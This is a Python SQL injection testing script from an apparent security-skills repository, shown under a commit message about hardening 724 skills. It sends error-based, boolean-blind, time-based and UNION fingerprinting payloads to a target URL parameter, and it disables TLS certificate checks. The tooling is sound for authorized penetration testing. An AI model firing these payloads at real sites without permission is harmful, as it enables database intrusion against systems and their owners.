Files
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

197 lines
7.3 KiB
Python

#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SQL injection detection agent using requests for manual technique-based testing."""
import argparse
import json
import logging
import sys
import time
import re
from typing import Optional
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
SQL_ERRORS = {
"mysql": [r"SQL syntax.*MySQL", r"Warning.*mysql_", r"MySQLSyntaxErrorException"],
"postgresql": [r"ERROR:\s+syntax error", r"pg_query\(\)", r"PSQLException"],
"mssql": [r"SQL Server.*Driver", r"OLE DB.*SQL Server", r"SQLServerException"],
"oracle": [r"ORA-\d{5}", r"Oracle.*Driver", r"quoted string not properly terminated"],
"sqlite": [r"SQLite/JDBCDriver", r"SQLite\.Exception", r"System\.Data\.SQLite"],
}
def detect_error_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Inject a single quote to detect SQL errors in the response."""
payload = "'"
test_url, data = _build_request(url, param, payload, method)
resp = _send(test_url, method, data, headers)
db_type = None
error_found = False
for db, patterns in SQL_ERRORS.items():
for pattern in patterns:
if re.search(pattern, resp.text, re.IGNORECASE):
db_type = db
error_found = True
break
if error_found:
break
return {
"technique": "error_based",
"parameter": param,
"injectable": error_found,
"database": db_type,
"status_code": resp.status_code,
}
def detect_boolean_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Test boolean-based blind SQLi with true/false conditions."""
baseline_resp = _send(*_build_request(url, param, "1", method), headers)
true_resp = _send(*_build_request(url, param, "1 AND 1=1--", method), headers)
false_resp = _send(*_build_request(url, param, "1 AND 1=2--", method), headers)
true_match = len(true_resp.content) == len(baseline_resp.content)
false_diff = abs(len(false_resp.content) - len(baseline_resp.content)) > 10
return {
"technique": "boolean_based",
"parameter": param,
"injectable": true_match and false_diff,
"baseline_length": len(baseline_resp.content),
"true_length": len(true_resp.content),
"false_length": len(false_resp.content),
}
def detect_time_based(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None, delay: int = 5) -> dict:
"""Test time-based blind SQLi with sleep functions."""
payloads = {
"mysql": f"1 AND SLEEP({delay})--",
"postgresql": f"1; SELECT pg_sleep({delay})--",
"mssql": f"1; WAITFOR DELAY '0:0:{delay}'--",
}
results = {}
for db, payload in payloads.items():
start = time.time()
_send(*_build_request(url, param, payload, method), headers)
elapsed = time.time() - start
results[db] = {"elapsed": round(elapsed, 2), "delayed": elapsed >= delay - 1}
injectable = any(r["delayed"] for r in results.values())
detected_db = next((db for db, r in results.items() if r["delayed"]), None)
return {
"technique": "time_based",
"parameter": param,
"injectable": injectable,
"database": detected_db,
"delay_target": delay,
"timing_results": results,
}
def detect_union_columns(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None, max_cols: int = 20) -> dict:
"""Determine the number of columns for UNION-based injection."""
for n in range(1, max_cols + 1):
payload = f"1 ORDER BY {n}--"
resp = _send(*_build_request(url, param, payload, method), headers)
if resp.status_code >= 400 or "error" in resp.text.lower():
return {"technique": "union_column_count", "parameter": param, "columns": n - 1}
return {"technique": "union_column_count", "parameter": param, "columns": None}
def fingerprint_database(url: str, param: str, method: str = "GET",
headers: Optional[dict] = None) -> dict:
"""Identify the database engine using version functions."""
version_payloads = {
"mysql": "1 UNION SELECT @@version,NULL--",
"postgresql": "1 UNION SELECT version(),NULL--",
"mssql": "1 UNION SELECT @@version,NULL--",
}
for db, payload in version_payloads.items():
resp = _send(*_build_request(url, param, payload, method), headers)
if resp.status_code == 200 and len(resp.content) > 50:
return {"database": db, "response_preview": resp.text[:200]}
return {"database": "unknown"}
def _build_request(url: str, param: str, value: str, method: str):
if method.upper() == "GET":
separator = "&" if "?" in url else "?"
return f"{url}{separator}{param}={requests.utils.quote(value)}", None
else:
return url, {param: value}
def _send(url: str, method: str = "GET", data: Optional[dict] = None,
headers: Optional[dict] = None) -> requests.Response:
h = headers or {}
try:
if method.upper() == "POST":
return requests.post(url, data=data, headers=h, timeout=15, verify=False)
return requests.get(url, headers=h, timeout=15, verify=False)
except requests.RequestException:
return type("FakeResp", (), {"status_code": 0, "text": "", "content": b""})()
def run_assessment(url: str, param: str, method: str = "GET") -> dict:
"""Run complete SQL injection assessment."""
error = detect_error_based(url, param, method)
boolean = detect_boolean_based(url, param, method)
timing = detect_time_based(url, param, method)
columns = detect_union_columns(url, param, method) if error["injectable"] else {}
injectable = error["injectable"] or boolean["injectable"] or timing["injectable"]
findings = []
if error["injectable"]:
findings.append(f"CRITICAL: Error-based SQLi confirmed (DB: {error['database']})")
if boolean["injectable"]:
findings.append("CRITICAL: Boolean-based blind SQLi confirmed")
if timing["injectable"]:
findings.append(f"CRITICAL: Time-based blind SQLi confirmed (DB: {timing['database']})")
return {
"target": url,
"parameter": param,
"injectable": injectable,
"error_based": error,
"boolean_based": boolean,
"time_based": timing,
"union_columns": columns,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="SQL Injection Detection Agent")
parser.add_argument("--url", required=True, help="Target URL")
parser.add_argument("--param", required=True, help="Parameter to test")
parser.add_argument("--method", default="GET", choices=["GET", "POST"])
parser.add_argument("--output", default="sqli_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.param, args.method)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()